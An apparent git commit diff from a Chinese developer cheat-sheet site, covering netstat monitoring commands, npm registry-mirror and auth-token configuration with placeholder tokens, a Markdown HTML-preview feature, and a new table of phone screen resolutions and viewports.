### 统计数据
<!--rehype:wrap-class=row-span-3-->
选项 | 说明
:- | :-
`netstat -s` | 显示统计信息
`netstat -st` | 显示 TCP 统计信息
`netstat -su` | 显示 UDP 统计信息
`netstat -ltpe` | 使用进程信息和扩展信息显示 TCP 的侦听连接
`netstat -tp` | 显示带有 PID 编号的服务名称
`sudo netstat -nlpt` | 列出进程名称/PID 和用户 ID
`netstat -nlptue` | 所有带有 PID 和扩展信息的侦听端口
`netstat -M` | 显示伪装的连接
### 显示没有域名的 TCP 连接
```bash
$ netstat --tcp --numeric
```
### 显示活动/已建立的连接
```bash
$ netstat -atnp | grep ESTA
```
### 获取活动连接的连续列表
```bash
$ watch -d -n0 "netstat -atnp | grep ESTA"
```
### 显示到特定端口的所有打开连接
```bash
$ netstat -anp | grep":"
```
插入`端口`号(上图)代替冒号 `:`
### 检查服务是否正在运行
```bash
$ sudo netstat -aple | grep ntp
```
你可以用`http``smtp`代替`ntp`
Netstat 安全命令
---
### 显示具有大量连接的 IP
<!--rehype:wrap-class=col-span-3-->
```bash
$ netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
```
<!--rehype:className=wrap-text -->
### 连接到端口 80 的 IP 地址
<!--rehype:wrap-class=col-span-3-->
```bash
$ netstat -tn 2>/dev/null | grep ':80 ' | awk '{print $5}' |sed -e 's/::ffff://' | cut -f1 -d: | sort | uniq -c | sort -rn | head
```
<!--rehype:className=wrap-text -->
### 显示端口 80 上的活动连接数
```bash
$ netstat -an |grep :80 |wc -l
```
### 仅显示外部 IP 地址
<!--rehype:wrap-class=col-span-2-->
```bash
$ netstat -antu | grep :80 | grep -v LISTEN | awk '{print $5}'
```
### 显示活动 SYNC_REC
<!--rehype:wrap-class=row-span-2-->
以下命令将输出服务器上正在发生和正在发生的活动 `SYNC_REC` 数量。数量应该很低(小于 `5`)。如果该数字为两位数,则您可能正在遭受 `DoS` 攻击或被邮件轰炸。
```bash
$ netstat -n -p|grep SYN_REC | wc -l
```
#### 列出发送 SYN_REC 连接的唯一 IP 地址
```bash
$ netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
```
<!--rehype:className=wrap-text -->
与上面的命令一样,该命令也列出了发送 `SYN_REC` 连接状态的节点的所有唯一 `IP` 地址
### 每个远程 IP 的连接数
<!--rehype:wrap-class=col-span-2-->
```bash
$ netstat -antu | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
```
<!--rehype:className=wrap-text -->
或者
```bash
$ netstat -antu | awk '$5 ~ /[0-9]:/{split($5, a, ":"); ips[a[1]]++} END {for (ip in ips) print ips[ip], ip | "sort -k1 -nr"}'
```
<!--rehype:className=wrap-text -->
### 检查开放端口ipv4 和 ipv6
```bash
$ netstat -plntu
```
### 检查开放端口ipv4 和 ipv6
```bash
$ netstat -plnt
```
### 每个 IP 的打开连接数
```bash
$ netstat -an | grep 80 | wc -l
```
### 活跃的互联网连接
```bash
$ netstat -pnut -w | column -t -s $'\t'
```

View File

@ -21,6 +21,7 @@ npm 备忘清单
| `npm install <package_name>@<tag>` | 使用 dist-tags 安装包 |
| `npm install -g <package_name>` | 全局安装包 |
| `npm uninstall <package_name>` | 卸载包 |
<!--rehype:class=auto-wrap-->
`--save` 是 npm@5 的默认值。 以前,使用不带 `--save``npm install` 不会更新 package.json。
@ -40,6 +41,7 @@ npm 备忘清单
| `npm i /path/to/repo` | 绝对路径 |
| `npm i ./archive.tgz` | 压缩包 |
| `npm i https://site.com/archive.tgz` | 通过 HTTP 压缩包 |
<!--rehype:class=auto-wrap-->
### 清单
@ -49,6 +51,7 @@ npm 备忘清单
| `npm list -g --depth 0` | 列出所有全局安装包的安装版本 |
| `npm view` | 列出此软件中所有依赖项的最新版本 |
| `npm outdated` | 仅列出此软件中已过时的依赖项 |
<!--rehype:class=auto-wrap-->
### 更新
@ -105,7 +108,7 @@ npm access restricted <package-name>
公开私有包
```bash
npm access restricted <package-name>
npm access public <package-name>
```
授予私有包访问权限
@ -167,7 +170,7 @@ npm publish --access public
```ini
# last modified: 01 Jan 2016
; Set a new registry for a scoped package
@myscope:registry=https://mycustomregistry.example.org
@myscope:registry=https://registry.npmmirror.com
```
注释使用 `#`, `;` 放置到一行的开头。`.npmrc` 文件由指定此注释语法的 [`npm/ini`](https://github.com/npm/ini) 解析
@ -190,19 +193,21 @@ npm publish --access public
`.npmignore` 文件就像 [`.gitignore`](./git.md#忽略文件) 一样工作。它不能覆盖 `package.json#files` 字段。
### 中国镜像站安装
<!--rehype:wrap-class=col-span-2-->
<!--rehype:wrap-class=col-span-2 row-span-2-->
```bash
# 临时使用
$ npm install -g <package-name> --registry=https://registry.npmmirror.com
```
将配置放置在 `.npmrc` 配置文件中。
将配置放置在 `.npmrc` 全局配置文件中,或者在项目的根目录中
```ini
; registry=https://registry.npmjs.org/
registry=https://registry.npmmirror.com
```
或者配置到 `package.json#publishConfig` 字段上
或者配置到 [`package.json#publishConfig`](./package.json.md#publishconfig) 字段上
```json
"publishConfig":{
@ -210,4 +215,37 @@ registry=https://registry.npmmirror.com
}
```
请参阅:[npmmirror 中国镜像站](https://npmmirror.com/)
替换 npm 仓库地址为 npmmirror(淘宝) 镜像地址
```bash
npm config set registry https://registry.npmmirror.com
```
请参阅:[npmmirror 中国镜像站](https://npmmirror.com/)
#### electronjs 镜像和缓存
```ini
ELECTRON_MIRROR="https://npmmirror.com/mirrors/electron/"
ELECTRON_BUILDER_BINARIES_MIRROR=https://npmmirror.com/mirrors/electron-builder-binaries/
; ELECTRON_CUSTOM_DIR="{{ version }}"
```
<!--rehype:className=wrap-text -->
### 身份验证相关配置
```ini
//registry.npmjs.org/:_authToken=MYTOKEN
; 将适用于 @myorg 和 @another
//somewhere.com/:_authToken=MYTOKEN
; 将适用于 @myorg
//somewhere.com/myorg/:_authToken=MYTOKEN1
; 将适用于 @another
//somewhere.com/another/:_authToken=MYTOKEN2
```
另见
----
- [npm 仓库、网站和命令行界面的文档](https://docs.npmjs.com/) _(npmjs.com)_
- [npmmirror 中国镜像站](https://npmmirror.com/) _(npmmirror.com)_

View File

@ -228,6 +228,22 @@ const school = <div>学校</div>;
```
<!--rehype:className=wrap-text -->
### HTML 代码预览
```
```html preview
<b>这里是你的 HTML 代码</b>
\```
```
---
```html preview
<b>这里是你的 HTML 代码</b>
```
上面的 `markdown` 代码在 `meta` 位置添加 `preview` 标识HTML 代码将被执行预览
布局
---
@ -602,6 +618,17 @@ H2 部分
`<!--rehype:className=style-list-arrow-->`
### 隐藏表头强制小尺寸自动换行
:- | :-
:- | :-
`visualEffectState.inactive` | 后台应一直显示为非激活状态。
`titleBarStyle` _string_ _(win/mac)_ | 窗口标题栏样式。默认值 _(default)_
`titleBarStyle.default` | 分别返回 _mac_ 或者 _win_ 的标准标题栏
<!--rehype:className=auto-wrap-->
`<!--rehype:className=auto-wrap-->`
列表
---

278
docs/resolutions.md Normal file
View File

@ -0,0 +1,278 @@
Resolutions 备忘清单
===
此备忘清单列出了流行手机、平板电脑、笔记本电脑和手表的屏幕尺寸、可视窗口尺寸和 CSS 媒体查询
入门
------
### 介绍
<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
- 分辨率是像素数(单个颜色点)
- 可视窗口由屏幕上网页填充的矩形大小定义
- 屏幕分辨率是指屏幕上显示的文本和图像的清晰度
- 用于设计
<!--rehype:className=style-round-->
解析度清单列表
------
### 手机
<!--rehype:wrap-class=col-span-3-->
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
| Apple iPhone 11 (2019) | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
| Apple iPhone 11 Pro (2019) | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
| Apple iPhone 11 Pro Max (2019) | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
| Apple iPhone 12 (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
| Apple iPhone 12 Pro (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
| Apple iPhone 12 Pro Max (2020) | 6.7 <sub>inch</sub> | 1284 x 2778 <sub>px</sub> | 428 x 926 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
| Apple iPhone 12 mini (2020) | 5.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 476 <sub>ppi</sub> | 159 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
| Apple iPhone 5 | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 6 |
| Apple iPhone 5c | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
| Apple iPhone 5s | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
| Apple iPhone 6 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8 |
| Apple iPhone 6s | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
| Apple iPhone 6s Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 9 |
| Apple iPhone 7 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.0.1 |
| Apple iPhone 7 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 10.0.1 |
| Apple iPhone 8 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
| Apple iPhone 8 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11 |
| Apple iPhone SE | 4.0 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 9.3.2 |
| Apple iPhone SE (2020) | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
| Apple iPhone X | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11.1.1 |
| Apple iPhone XR | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 12 |
| Apple iPhone XS | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
| Apple iPhone XS Max | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.1 |
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 411 x 731 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.6 <sub>xxhdpi</sub> | Android 7.1 |
| Google Pixel 2 | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.0 |
| Google Pixel 2 XL | 6.0 <sub>inch</sub> | 1440 x 2880 <sub>px</sub> | | 538 <sub>ppi</sub> | 154 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 8.0 |
| Google Pixel 3 (2018) | 5.5 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 393 x 786 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
| Google Pixel 3 XL (2018) | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 412 x 846 <sub>px</sub> | 523 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
| Google Pixel 3a (2019) | 5.6 <sub>inch</sub> | 1080 x 2220 <sub>px</sub> | 393 x 808 <sub>px</sub> | 441 <sub>ppi</sub> | 160 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
| Google Pixel 3a XL (2019) | 6 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 412 x 823 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
| Google Pixel 4 (2019) | 5.7 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 393 x 830 <sub>px</sub> | 444 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
| Google Pixel 4 XL (2019) | 6.3 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 537 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10 |
| Google Pixel 4a (2020) | 5.81 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
| Google Pixel 5 (2020) | 6 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 432 <sub>ppi</sub> | 157 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 11.0 |
| Google Pixel XL | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1 |
| HTC Desire 10 Lifestyle | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0 |
| HTC Desire 628 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 5.1 |
| Honor 6X (2016) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 403 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 6.0 |
| Honor 7X (2017) | 5.93 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 407 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
| Honor 8X (2018) | 6.5 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 397 <sub>ppi</sub> | 132 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
| Honor 9X (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
| Huawei Mate 10 Lite (2017) | 5.9 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
| Huawei Mate 20 Lite (2018) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
| Huawei Mate 20 Pro (2018) | 6.39 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 360 x 780 <sub>px</sub> | 538 <sub>ppi</sub> | 135 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
| Huawei Mate 30 (2019) | 6.62 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 389 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
| Huawei Mate 30 Pro (2019) | 6.53 <sub>inch</sub> | 1176 x 2400 <sub>px</sub> | 392 x 800 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
| Huawei Nova 7i (2020) | 6.4 <sub>inch</sub> | 1080 x 2310 <sub>px</sub> | 360 x 770 <sub>px</sub> | 398 <sub>ppi</sub> | 133 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 10.0 |
| Huawei Y9 Prime (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
| Huawei Y9s (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
| LG G5 | 5.3 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 554 <sub>ppi</sub> | 139 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0.1 |
| Motorola Moto E5 Plus | 6.0 <sub>inch</sub> | 720 x 1440 <sub>px</sub> | | 268 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 8.0 |
| OnePlus 6 | 6.28 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.1 |
| OnePlus 6T | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
| OnePlus 7 | 6.41 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
| OnePlus 7 Pro | 6.67 <sub>inch</sub> | 1440 x 3120 <sub>px</sub> | 412 x 892 <sub>px</sub> | 516 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
| OnePlus 7T (2019) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| OnePlus 8 (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| OnePlus 8 Pro (2020) | 6.78 <sub>inch</sub> | 1440 x 3168 <sub>px</sub> | 412 x 906 <sub>px</sub> | 513 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
| OnePlus 8T (2020) | 6.55 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 11.0 |
| OnePlus Nord (2020) | 6.44 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 408 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| Redmi Note 9 Pro (2020) | 6.67 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 393 x 873 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
| Samsung A50 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
| Samsung Galaxy A30 (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
| Samsung Galaxy A50s (2019) | 6.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 412 x 892 <sub>px</sub> | 403 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
| Samsung Galaxy A51 (2019) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 405 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| Samsung Galaxy A6s | 6.0 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 402 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 8.0 |
| Samsung Galaxy A70s (2019) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
| Samsung Galaxy A71 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| Samsung Galaxy Fold (2019) | 7.3 <sub>inch</sub> | 1536 x 2152 <sub>px</sub> | 768 x 1076 <sub>px</sub> | 362 <sub>ppi</sub> | 181 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 9.0 |
| Samsung Galaxy J4 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | | 134 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
| Samsung Galaxy J5 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | | 2 <sub>xhdpi</sub> | Android 5.1 |
| Samsung Galaxy J5 Prime | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
| Samsung Galaxy J6 | 5.6 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 293 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
| Samsung Galaxy J7 | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0.1 |
| Samsung Galaxy J7 Prime | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
| Samsung Galaxy J7 Prime2 (2018) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.0 |
| Samsung Galaxy J7 Pro | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
| Samsung Galaxy J8 | 6.0 <sub>inch</sub> | 720 x 1480 <sub>px</sub> | | 274 <sub>ppi</sub> | 137 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 8.0 |
| Samsung Galaxy Note20 (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 915 <sub>px</sub> | 393 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| Samsung Galaxy Note20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3088 <sub>px</sub> | 412 x 883 <sub>px</sub> | 496 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
| Samsung Galaxy Note8 | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 521 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1.1 |
| Samsung Galaxy On8 | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
| Samsung Galaxy S10 | 6.1 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 360 x 760 <sub>px</sub> | 550 <sub>ppi</sub> | 138 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 9.0 |
| Samsung Galaxy S10 Lite (2020) | 6.7 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 394 <sub>ppi</sub> | 150 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| Samsung Galaxy S10+ | 6.4 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 522 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
| Samsung Galaxy S20 (2020) | 6.4 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 360 x 800 <sub>px</sub> | 563 <sub>ppi</sub> | 141 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 10.0 |
| Samsung Galaxy S20 FE (2020) | 6.5 <sub>inch</sub> | 1080 x 2400 <sub>px</sub> | 412 x 914 <sub>px</sub> | 407 <sub>ppi</sub> | 155 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| Samsung Galaxy S20 Ultra (2020) | 6.9 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 412 x 915 <sub>px</sub> | 511 <sub>ppi</sub> | 146 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10.0 |
| Samsung Galaxy S20+ (2020) | 6.7 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 525 <sub>ppi</sub> | 140 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 10.0 |
